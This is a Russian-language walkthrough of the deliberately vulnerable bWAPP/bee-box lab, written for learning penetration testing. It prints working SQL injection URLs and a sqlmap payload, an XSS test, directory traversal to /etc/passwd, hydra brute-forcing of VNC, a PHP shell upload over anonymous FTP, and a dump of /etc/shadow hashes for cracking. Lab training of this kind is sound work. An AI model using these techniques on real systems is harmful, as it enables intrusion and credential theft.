Привет!
В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.
Краткий ликбез:
Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.
Сам топ-10 выглядит следющим образом:
A1 Внедрение кода
A2 Некорректная аутентификация и управление сессией
A3 Межсайтовый скриптинг (XSS)
A4 Небезопасные прямые ссылки на объекты
A5 Небезопасная конфигурация
A6 Утечка чувствительных данных
A7 Отсутствие контроля доступа к функциональному уровню
A8 Подделка межсайтовых запросов (CSRF)
A9 Использование компонентов с известными уязвимостями
A10 Невалидированные редиректы
Рейтинг отражает не только распространенность, но и опасность угрозы.
buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.
Автор bWAPP — Malik Mesellem (его блог)
Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.
- SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
- Blind SQL and Blind OS Command injection
- Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
- Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
- Cross-Site Request Forgery (CSRF)
- AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
- Malicious, unrestricted file uploads and backdoor files
- Authentication, authorization and session management issues
- Arbitrary file access and directory traversals
- Local and remote file inclusions (LFI/RFI)
- Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
- HTTP parameter pollution and HTTP response splitting
- Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
- Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
- HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
- Unvalidated redirects and forwards, and cookie poisoning
- Cookie poisoning and insecure cryptographic storage
- Server Side Request Forgery (SSRF)
- XML External Entity attacks (XXE)
Что вас ждет в статье:
- Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.
- Прохождение bwapp несколькими способами, не используя веб.
На кого расчитанна статья:
- На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.
Требования:
- Жажда знаний
- Машина, на которой вы развернете bWAPP.
- Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.
Цель статьи:
- Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)
WARNING!
Чего не будет в статье:
1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.
2. Обзора программ, которые помогают при пентесте.
Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.
Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.
SQL-injection
Выбираем SQL Injection (GET/Search)
Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.
Подставляем кавычку, получаем ошибку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
Воспользуемся техникой order by и подберем количество столбцов:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
Оно равно 7:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
Дальше используем union:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
Получаем номера столбцов:
Получаем имя БД, юзера, хеш пароля:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
SQL Injection (POST/Search)
Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:
В burpsuite открываем наш запрос
Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.
Открываем sqlmap и выполняем команду:
sqlmap -r sql.txt
Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
Просто подставим payload в адресную строку:
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
тем самым получим токен, что означает, что задача выполнена:
Или вас интересуют XSS?
Их здесь полно и на любой вкус.
Выбираем XSS — Reflected (GET)
Подставляем
<script>alert(1);</script>
Просто почитать чужие файлы?
Откроем Directory Traversal — Files
http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
Попробуем подставить /etc/passwd:
Откроем Directory Traversal — Directories
http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
Прочитаем листинг /etc/:
Тестирование «черным ящиком»
Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.
Просканируем цель nmap'ом:
Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc
Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.
FTP
Воспользуемся Dirbuster:
Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200
Тем временем
nmap --script=ftp*
сообщает, что:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf
| -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf
| -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf
Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.
Значит будем заливать php шелл.
Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)
Наш шелл.
VNC
Пробуем подключится по 192.168.1.18:5901
Хорошо, воспользуемся hydra:
hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
Коннектимся… тадам! Неожиданно, но это права root'а.
Раз root, тогда смотрим /etc/shadow
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
Воспользуемся hashcat'ом для подбора паролей:
Вот такой улов.
Заключение
Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.
Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:
- Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши.
- Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.
- Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.
Список литературы
Автор bWAPP — Malik Mesellem (его блог)
Сам Топ-10 OWASP
Отличная подборка тематических статей от BeLove
Вторая подборка описание пентест утилит, также от BeLove
Творение g0tmi1k — сайт, на котором собраны boot2root образы
Спасибо за внимание. Отвечу на любые вопросы.
Автор: Mach1ne